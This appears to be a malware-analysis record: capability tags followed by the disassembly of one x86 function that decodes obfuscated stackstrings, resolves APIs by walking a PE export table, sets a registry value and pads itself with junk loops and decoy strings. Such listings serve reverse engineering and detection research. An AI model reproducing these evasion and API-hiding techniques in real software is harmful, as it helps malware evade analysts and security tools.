Function at 0x409129
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cd89b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x2a8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0x10], 0
jbe 0x409170
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x409170
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00408b5a
pop ecx
pop ecx
jmp 0x40a4ea
cmp dword [ebp + 0x10], 0
jne 0x409c61
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.00402590
mov dword [ebp - 0xbc], eax
cmp dword [0xaa5994], 0
jne 0x409c2f
mov dword [ebp - 0x204], 0x51aa
lea eax, [ebp - 0x204]
push eax
call fcn.00408927
pop ecx
mov dword [ebp - 0x19c], eax
mov byte [ebp - 0x180], 9
mov byte [ebp - 0x17f], 0x7a
mov byte [ebp - 0x17e], 1
mov byte [ebp - 0x17d], 0xb
mov byte [ebp - 0x17c], 0xb
mov byte [ebp - 0x17b], 0x1d
mov byte [ebp - 0x17a], 5
mov byte [ebp - 0x179], 0xa
mov byte [ebp - 0x178], 7
mov byte [ebp - 0x177], 0x1b
mov byte [ebp - 0x176], 8
mov byte [ebp - 0x175], 6
mov byte [ebp - 0x174], 3
mov byte [ebp - 0x173], 0x39
mov byte [ebp - 0x172], 4
mov byte [ebp - 0x171], 0x33
mov byte [ebp - 0x170], 0
mov byte [ebp - 0x16f], 0x22
mov byte [ebp - 0x16e], 0xc
mov byte [ebp - 0x16d], 0x10
mov byte [ebp - 0x16c], 0x5a
mov byte [ebp - 0x16b], 0xd7
mov byte [ebp - 0x16a], 0xc
mov byte [ebp - 0x169], 0x8d
mov byte [ebp - 0x168], 0x97
mov byte [ebp - 0x167], 0x46
mov byte [ebp - 0x166], 0x16
mov byte [ebp - 0x165], 0xfb
mov byte [ebp - 0x164], 0x4c
mov byte [ebp - 0x163], 0x1e
mov byte [ebp - 0x162], 0x54
mov byte [ebp - 0x161], 0x9a
mov byte [ebp - 0x160], 0xe
mov byte [ebp - 0x15f], 0x9d
mov byte [ebp - 0x15e], 0x38
mov byte [ebp - 0x15d], 0xa0
mov byte [ebp - 0x15c], 0xb5
mov byte [ebp - 0x15b], 0x71
mov byte [ebp - 0x15a], 0x69
mov byte [ebp - 0x159], 0xf7
mov byte [ebp - 0x158], 0x40
mov byte [ebp - 0x157], 0xc0
mov byte [ebp - 0x156], 0x46
mov byte [ebp - 0x155], 0xad
mov byte [ebp - 0x154], 0xba
mov byte [ebp - 0x153], 0x88
mov byte [ebp - 0x152], 0xbc
mov byte [ebp - 0x151], 0x8c
mov byte [ebp - 0x150], 0x4a
mov byte [ebp - 0x14f], 0xfe
mov byte [ebp - 0x14e], 0x6a
mov byte [ebp - 0x14d], 0xc2
mov byte [ebp - 0x14c], 0xc
mov byte [ebp - 0x14b], 0x19
mov byte [ebp - 0x14a], 0xd3
mov byte [ebp - 0x149], 0xd1
mov byte [ebp - 0x148], 0x94
mov byte [ebp - 0x147], 0x10
mov byte [ebp - 0x146], 0xb0
mov byte [ebp - 0x145], 0x37
mov byte [ebp - 0x144], 0x46
mov byte [ebp - 0x143], 0x6a
mov byte [ebp - 0x142], 0x11
mov byte [ebp - 0x141], 1
mov byte [ebp - 0x140], 0xe0
mov byte [ebp - 0x13f], 0xeb
mov byte [ebp - 0x13e], 0xee
mov byte [ebp - 0x13d], 0xc8
mov byte [ebp - 0x13c], 0xe1
mov byte [ebp - 0x13b], 0xf6
mov byte [ebp - 0x13a], 0xca
mov byte [ebp - 0x139], 0x44
mov byte [ebp - 0x138], 0x29
mov byte [ebp - 0x137], 0x36
mov byte [ebp - 0x136], 0x8b
mov byte [ebp - 0x135], 0xda
mov byte [ebp - 0x134], 0x7c
mov byte [ebp - 0x133], 0x20
mov byte [ebp - 0x132], 0xb2
mov byte [ebp - 0x131], 1
mov byte [ebp - 0x130], 0x4c
mov byte [ebp - 0x12f], 0x34
mov byte [ebp - 0x12e], 0xc
mov byte [ebp - 0x12d], 0x40
mov byte [ebp - 0x12c], 0x6a
mov byte [ebp - 0x12b], 0xef
mov byte [ebp - 0x12a], 0x10
mov byte [ebp - 0x129], 0x2a
mov byte [ebp - 0x128], 6
mov byte [ebp - 0x127], 0xe1
mov byte [ebp - 0x126], 0x76
mov byte [ebp - 0x125], 0x1f
mov byte [ebp - 0x124], 0x1d
mov byte [ebp - 0x123], 0x6b
mov byte [ebp - 0x122], 0x4a
mov byte [ebp - 0x121], 0xab
mov byte [ebp - 0x120], 0xc1
mov byte [ebp - 0x11f], 0
mov byte [ebp - 0x11e], 0x7e
mov byte [ebp - 0x11d], 0xdd
mov byte [ebp - 0x11c], 0xd6
mov byte [ebp - 0x11b], 0xf6
mov byte [ebp - 0x11a], 0x3d
mov byte [ebp - 0x119], 0x5c
mov byte [ebp - 0x118], 0x30
mov byte [ebp - 0x117], 0x48
mov byte [ebp - 0x116], 0xa
mov byte [ebp - 0x115], 0x20
mov byte [ebp - 0x114], 0x2d
mov byte [ebp - 0x113], 0x46
mov byte [ebp - 0x112], 0xe3
mov byte [ebp - 0x111], 6
mov byte [ebp - 0x110], 0x24
mov byte [ebp - 0x10f], 0xa
mov byte [ebp - 0x10e], 0x36
mov byte [ebp - 0x10d], 2
mov byte [ebp - 0x10c], 0x31
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x180]
or eax, 0x14
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x180]
and ecx, 0x14
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x180]
mov byte [ebp + ecx - 0x1e4], al
mov dword [ebp - 0x1c], 2
and dword [ebp - 0xcc], 0
jmp 0x409539
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x75
jae 0x4095ef
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x180]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x409583
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x180]
inc eax
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x180]
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x1c], eax
jmp 0x409531
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x17f]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0xcc]
movzx ecx, byte [ebp + ecx - 0x182]
movsx ecx, byte [ebp + ecx - 0x1e4]
or eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x17f]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xcc]
movzx edx, byte [ebp + edx - 0x182]
movsx edx, byte [ebp + edx - 0x1e4]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x180]
mov byte [ebp + ecx - 0x1e4], al
and dword [ebp - 0xcc], 0
jmp 0x409531
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x1e4], 0
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x2b8]
call fcn.0040bd54
mov edx, dword [ebp - 0x19c]
mov ecx, eax
call fcn.00402590
mov dword [0xaa5994], eax
lea ecx, [ebp - 0x2b8]
call fcn.0040bd83
and dword [ebp - 0x98], 0
jmp 0x409642
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0xe
jae 0x40965b
mov eax, dword [ebp - 0x98]
mov byte [ebp + eax - 0x1e4], 0
jmp 0x409635
mov dword [ebp - 0x1a4], 0x19bb
mov dword [ebp - 0x1d4], str.aylab_gmk_lcqbsqe
cmp dword [ebp - 0x1a4], 0x1c64
jle 0x40977b
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
and dword [ebp - 0x88], 0
jmp 0x4096a1
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x5d1f
jge 0x40977b
and dword [ebp - 0xb0], 0
jmp 0x4096c7
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x31d0
jge 0x409776
and dword [ebp - 0x80], 0
jmp 0x4096e4
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x1452
jge 0x409771
and dword [ebp - 0x90], 0
jmp 0x409707
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x353c
jge 0x40976c
mov eax, dword [ebp - 0x88]
imul eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x90]
shl eax, cl
cdq
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], edx
push dword [ebp - 0x1f4]
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x288]
call fcn.004019d8
pop ecx
pop ecx
mov ecx, eax
call fcn.0040bba0
push eax
call fcn.004b7f67
pop ecx
lea ecx, [ebp - 0x288]
call fcn.0040bb96
jmp 0x4096fa
jmp 0x4096dd
jmp 0x4096ba
jmp 0x409694
mov byte [ebp - 0x7c], 0xc
mov byte [ebp - 0x7b], 0x85
mov byte [ebp - 0x7a], 0xa
mov byte [ebp - 0x79], 0x16
mov byte [ebp - 0x78], 0xd
mov byte [ebp - 0x77], 0x32
mov byte [ebp - 0x76], 2
mov byte [ebp - 0x75], 0x32
mov byte [ebp - 0x74], 8
mov byte [ebp - 0x73], 0xa
mov byte [ebp - 0x72], 0xb
mov byte [ebp - 0x71], 0x1c
mov byte [ebp - 0x70], 4
mov byte [ebp - 0x6f], 7
mov byte [ebp - 0x6e], 0
mov byte [ebp - 0x6d], 0x37
mov byte [ebp - 0x6c], 5
mov byte [ebp - 0x6b], 0x26
mov byte [ebp - 0x6a], 9
mov byte [ebp - 0x69], 6
mov byte [ebp - 0x68], 6
mov byte [ebp - 0x67], 0x33
mov byte [ebp - 0x66], 3
mov byte [ebp - 0x65], 0x31
mov byte [ebp - 0x64], 7
mov byte [ebp - 0x63], 0x13
mov byte [ebp - 0x62], 0x15
mov byte [ebp - 0x61], 0x5e
mov byte [ebp - 0x60], 0xf7
mov byte [ebp - 0x5f], 0x18
mov byte [ebp - 0x5e], 0x15
mov byte [ebp - 0x5d], 0xd1
mov byte [ebp - 0x5c], 0xdb
mov byte [ebp - 0x5b], 0x28
mov byte [ebp - 0x5a], 0x57
mov byte [ebp - 0x59], 0x57
mov byte [ebp - 0x58], 0xf
mov byte [ebp - 0x57], 0x5a
mov byte [ebp - 0x56], 0x8e
mov byte [ebp - 0x55], 0x2a
mov byte [ebp - 0x54], 6
mov byte [ebp - 0x53], 0xa8
mov byte [ebp - 0x52], 0x90
mov byte [ebp - 0x51], 0x40
mov byte [ebp - 0x50], 0xad
mov byte [ebp - 0x4f], 0x8d
mov byte [ebp - 0x4e], 0xe7
mov byte [ebp - 0x4d], 0x51
mov byte [ebp - 0x4c], 1
mov byte [ebp - 0x4b], 0
and dword [ebp - 4], 0
cmp dword [ebp - 0x1a4], 0x180e
jge 0x40985f
push dword [ebp - 0x1d4]
call fcn.004b7f67
pop ecx
jmp 0x40987b
or dword [ebp - 4], 0xffffffff
jmp 0x409885
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x7c]
or eax, 0xf6
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x7c]
and ecx, 0xf6
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x7c]
mov byte [ebp + ecx - 0x1b8], al
mov dword [ebp - 0x194], 0x55d5
mov dword [ebp - 0x1fc], str.sabrj_xhzwzrew_daeyspk_fgyq_ndga_mmisp_iryhxwxpj_zgzhmfexq_yocnid_ihkpmjog_flho_ipgf_gokitxmgz_yhrdj
cmp dword [ebp - 0x194], 0x57a3
jle 0x40999a
and dword [ebp - 0xa0], 0
jmp 0x4098f4
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x2bcf
jge 0x409988
and dword [ebp - 0x94], 0
jmp 0x40991a
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x5656
jge 0x409983
and dword [ebp - 0xc0], 0
jmp 0x40993c
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x32f8
jge 0x409981
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0xc0]
shl eax, cl
or eax, dword [ebp - 0xa0]
cdq
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1e8], edx
push dword [ebp - 0x1e8]
push dword [ebp - 0x1ec]
mov ecx, 0xaa47f8
call fcn.0040bbab
jmp 0x40992f
jmp 0x40990d
jmp 0x4098e7
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x18], 2
and dword [ebp - 0x40], 0
jmp 0x4099af
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x32
jae 0x409b7a
mov dword [ebp - 0x1a8], 0x6f91
mov dword [ebp - 0x1f0], str.zvhtyhd_kqbv_vem_msotmeg_dgsezconc_ovmpbsepv_wkwttaaf_dsm_bsclnkgh_tmo_fwzgoi_ppwzyqwwd_teyvxo
cmp dword [ebp - 0x1a8], 0x72b4
jle 0x409a87
and dword [ebp - 0xc8], 0
jmp 0x4099f3
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x1713
jge 0x409a87
and dword [ebp - 0xb8], 0
jmp 0x409a19
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x76a8
jge 0x409a82
and dword [ebp - 0xa8], 0
jmp 0x409a3b
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x96c
jge 0x409a80
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xa8]
sar eax, cl
or eax, dword [ebp - 0xc8]
cdq
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1c0], edx
push dword [ebp - 0x1c0]
push dword [ebp - 0x1c4]
mov ecx, 0xaa47f8
call fcn.0040bbab
jmp 0x409a2e
jmp 0x409a0c
jmp 0x4099e6
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x7c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x409abe
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x7c]
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x7c]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x18], eax
jmp 0x4099a7
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1a8], 0x6f2b
jge 0x409ae1
mov edx, dword [ebp - 0x1f0]
mov ecx, 0xaa47f8
call fcn.0040e430
jmp 0x409afd
or dword [ebp - 4], 0xffffffff
jmp 0x409b07
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x7b]
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x40]
movzx ecx, byte [ebp + ecx - 0x7e]
movsx ecx, byte [ebp + ecx - 0x1b8]
add eax, ecx
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x7b]
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x40]
movzx edx, byte [ebp + edx - 0x7e]
movsx edx, byte [ebp + edx - 0x1b8]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x7b]
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x40]
movzx edx, byte [ebp + edx - 0x7e]
movsx edx, byte [ebp + edx - 0x1b8]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x7c]
mov byte [ebp + ecx - 0x1b8], al
and dword [ebp - 0x40], 0
jmp 0x4099a7
mov dword [ebp - 4], 4
cmp dword [ebp - 0x194], 0x52b8
jge 0x409b9d
mov edx, dword [ebp - 0x1fc]
mov ecx, 0xaa47f8
call fcn.0040e430
jmp 0x409bb9
or dword [ebp - 4], 0xffffffff
jmp 0x409bc3
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x1b8], 0
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x2a0]
call fcn.0040bd54
mov edx, dword [ebp - 0x19c]
mov ecx, eax
call fcn.00402590
mov dword [0xaa59e0], eax
lea ecx, [ebp - 0x2a0]
call fcn.0040bd83
and dword [ebp - 0x84], 0
jmp 0x409c16
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xf
jae 0x409c2f
mov eax, dword [ebp - 0x84]
mov byte [ebp + eax - 0x1b8], 0
jmp 0x409c09
mov eax, dword [0xaa5994]
cmp eax, dword [ebp - 0xbc]
je 0x409c49
mov eax, dword [0xaa59e0]
cmp eax, dword [ebp - 0xbc]
jne 0x409c61
mov ecx, dword [ebp + 0xc]
call fcn.0040bba0
push eax
push dword [ebp + 8]
call fcn.00408b5a
pop ecx
pop ecx
jmp 0x40a4ea
mov eax, dword [ebp + 8]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x40a4e8
mov eax, dword [ebp - 0xb4]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x40a4e8
mov dword [ebp - 0x190], 0x207a
mov dword [ebp - 0x1bc], str.qppnxytvo_zwyv_qchde_zwis
cmp dword [ebp - 0x190], 0x238a
jle 0x409d8a
and dword [ebp - 0x8c], 0
jmp 0x409cc5
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x3494
jge 0x409d8a
and dword [ebp - 0x9c], 0
jmp 0x409ceb
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x3189
jge 0x409d85
and dword [ebp - 0xa4], 0
jmp 0x409d11
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x6abd
jge 0x409d80
and dword [ebp - 0xac], 0
jmp 0x409d33
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x799a
jge 0x409d7e
mov eax, dword [ebp - 0x8c]
sub eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0xac]
sar eax, cl
cdq
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], edx
push dword [ebp - 0x1cc]
push dword [ebp - 0x1d0]
mov ecx, 0xaa47f8
call fcn.0040bbab
jmp 0x409d26
jmp 0x409d04
jmp 0x409cde
jmp 0x409cb8
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 4], 6
cmp dword [ebp - 0x190], 0x1ca9
jge 0x409dbf
mov edx, dword [ebp - 0x1bc]
mov ecx, 0xaa47f8
call fcn.0040e430
jmp 0x409ddb
or dword [ebp - 4], 0xffffffff
jmp 0x409de5
mov eax, dword [ebp - 0x48]
cmp dword [eax], 0x4550
jne 0x40a4e8
mov eax, dword [ebp - 0x48]
cmp dword [eax + 0x74], 0
jbe 0x40a4e8
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x48]
cmp dword [ecx + eax + 0x78], 0
je 0x40a4e8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x34]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x24], edx
mov eax, 0xffff
mov word [ebp - 0x20], ax
or dword [ebp - 0x3c], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x409e59
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x409e54
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x20], ax
jmp 0x409fdf
mov eax, dword [0xaa5a04]
and eax, 1
jne 0x409e85
mov eax, dword [0xaa5a04]
or eax, 1
mov dword [0xaa5a04], eax
mov ecx, 0xaa5a14
call fcn.0040bee6
push 0x4ce783
call fcn.004b7f3d
pop ecx
movzx eax, byte [0xaa5975]
test eax, eax
je 0x409eee
mov ecx, 0xaa5a14
call fcn.0040bf89
movzx eax, al
test eax, eax
jne 0x409eee
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x1a0]
push eax
mov ecx, 0xaa5a14
call fcn.0040bf92
lea eax, [ebp - 0x210]
push eax
mov ecx, 0xaa5a14
call fcn.0040bf7b
push eax
lea ecx, [ebp - 0x1a0]
call fcn.0040bfad
movzx eax, al
test eax, eax
je 0x409eee
lea ecx, [ebp - 0x1a0]
call fcn.0040bfa7
mov eax, dword [eax + 4]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
jne 0x409fdf
mov ecx, 0xaa5a14
call fcn.0040bffe
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0xaa5a14
call fcn.0040c002
and dword [ebp - 0x38], 0
jmp 0x409f20
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [eax + 0x18]
jae 0x409fdf
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x38]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
je 0x409fda
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x270]
call fcn.0040bd54
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x270]
call fcn.00402590
mov dword [ebp - 0x188], eax
movzx eax, byte [0xaa5975]
test eax, eax
je 0x409f98
mov ecx, 0xaa5a14
call fcn.0040bf89
movzx eax, al
test eax, eax
jne 0x409fb5
lea eax, [ebp - 0x188]
push eax
mov ecx, 0xaa5a14
call fcn.0040bfc0
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov byte [0xaa5975], 1
cmp dword [ebp - 0x3c], 0xffffffff
jne 0x409fcf
mov eax, dword [ebp - 0x188]
cmp eax, dword [ebp - 0xbc]
jne 0x409fcf
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x270]
call fcn.0040bd83
jmp 0x409f19
cmp dword [ebp + 0x10], 0
jne 0x409fff
cmp dword [ebp - 0x3c], 0xffffffff
je 0x409fff
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x3c]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x20], ax
movzx eax, word [ebp - 0x20]
cmp eax, 0xffff
je 0x40a4e8
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x20]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
jbe 0x40a4e3
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x24]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x28], edx
jae 0x40a4e3
mov eax, dword [0xaa5a04]
and eax, 2
jne 0x40a07e
mov eax, dword [0xaa5a04]
or eax, 2
mov dword [0xaa5a04], eax
push 0x67ee
call fcn.004b286f
pop ecx
mov byte [0xaa59f4], al
mov byte [ebp - 0x108], 1
mov byte [ebp - 0x107], 0x7c
mov byte [ebp - 0x106], 2
mov byte [ebp - 0x105], 0
mov byte [ebp - 0x104], 0x35
mov byte [ebp - 0x103], 0xbb
mov byte [ebp - 0x102], 0x13
mov byte [ebp - 0x101], 0x97
mov byte [ebp - 0x100], 0xca
mov byte [ebp - 0xff], 0xa
mov byte [ebp - 0xfe], 0x35
mov byte [ebp - 0xfd], 0x56
mov byte [ebp - 0xfc], 0xaf
mov byte [ebp - 0xfb], 0x41
mov byte [ebp - 0xfa], 0xa
mov byte [ebp - 0xf9], 0x84
mov byte [ebp - 0xf8], 0xee
mov byte [ebp - 0xf7], 0xda
mov byte [ebp - 0xf6], 0xad
mov byte [ebp - 0xf5], 0x5e
mov byte [ebp - 0xf4], 0xcd
mov byte [ebp - 0xf3], 0x48
mov byte [ebp - 0xf2], 0x56
mov byte [ebp - 0xf1], 0x6b
mov byte [ebp - 0xf0], 0x7a
mov byte [ebp - 0xef], 0x75
mov byte [ebp - 0xee], 0x8f
mov byte [ebp - 0xed], 0xda
mov byte [ebp - 0xec], 0x3e
mov byte [ebp - 0xeb], 0x52
mov byte [ebp - 0xea], 0xf2
mov byte [ebp - 0xe9], 0x64
mov byte [ebp - 0xe8], 0x1f
mov byte [ebp - 0xe7], 0x70
mov byte [ebp - 0xe6], 0xa2
mov byte [ebp - 0xe5], 0xe7
mov byte [ebp - 0xe4], 0xe7
mov byte [ebp - 0xe3], 0xfe
mov byte [ebp - 0xe2], 0x92
mov byte [ebp - 0xe1], 0xaa
mov byte [ebp - 0xe0], 0xab
mov byte [ebp - 0xdf], 0x58
mov byte [ebp - 0xde], 0xd1
mov byte [ebp - 0xdd], 0x7d
mov byte [ebp - 0xdc], 0x2f
mov byte [ebp - 0xdb], 0xc3
mov byte [ebp - 0xda], 0x6f
mov byte [ebp - 0xd9], 0xae
mov byte [ebp - 0xd8], 0xde
mov byte [ebp - 0xd7], 0x37
mov byte [ebp - 0xd6], 0xa8
mov byte [ebp - 0xd5], 5
mov byte [ebp - 0xd4], 0x2f
mov byte [ebp - 0xd3], 0xb9
mov byte [ebp - 0xd2], 0x71
mov byte [ebp - 0xd1], 0xb5
mov byte [ebp - 0xd0], 0x8e
mov byte [ebp - 0xcf], 0x23
mov byte [ebp - 0xce], 0
mov byte [ebp - 0xcd], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x108]
or eax, 0x10
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x108]
and ecx, 0x10
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x108]
mov byte [ebp + ecx - 0x30], al
mov dword [ebp - 0x14], 2
and dword [ebp - 0x44], 0
jmp 0x40a26d
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3c
jae 0x40a330
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x108]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x40a2b4
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x108]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x108]
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x14], eax
jmp 0x40a265
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x107]
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0x10a]
movsx ecx, byte [ebp + ecx - 0x30]
add eax, ecx
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0x107]
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x44]
movzx edx, byte [ebp + edx - 0x10a]
movsx edx, byte [ebp + edx - 0x30]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0x107]
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x44]
movzx edx, byte [ebp + edx - 0x10a]
movsx edx, byte [ebp + edx - 0x30]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0x108]
mov byte [ebp + ecx - 0x30], al
and dword [ebp - 0x44], 0
jmp 0x40a265
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x30], 0
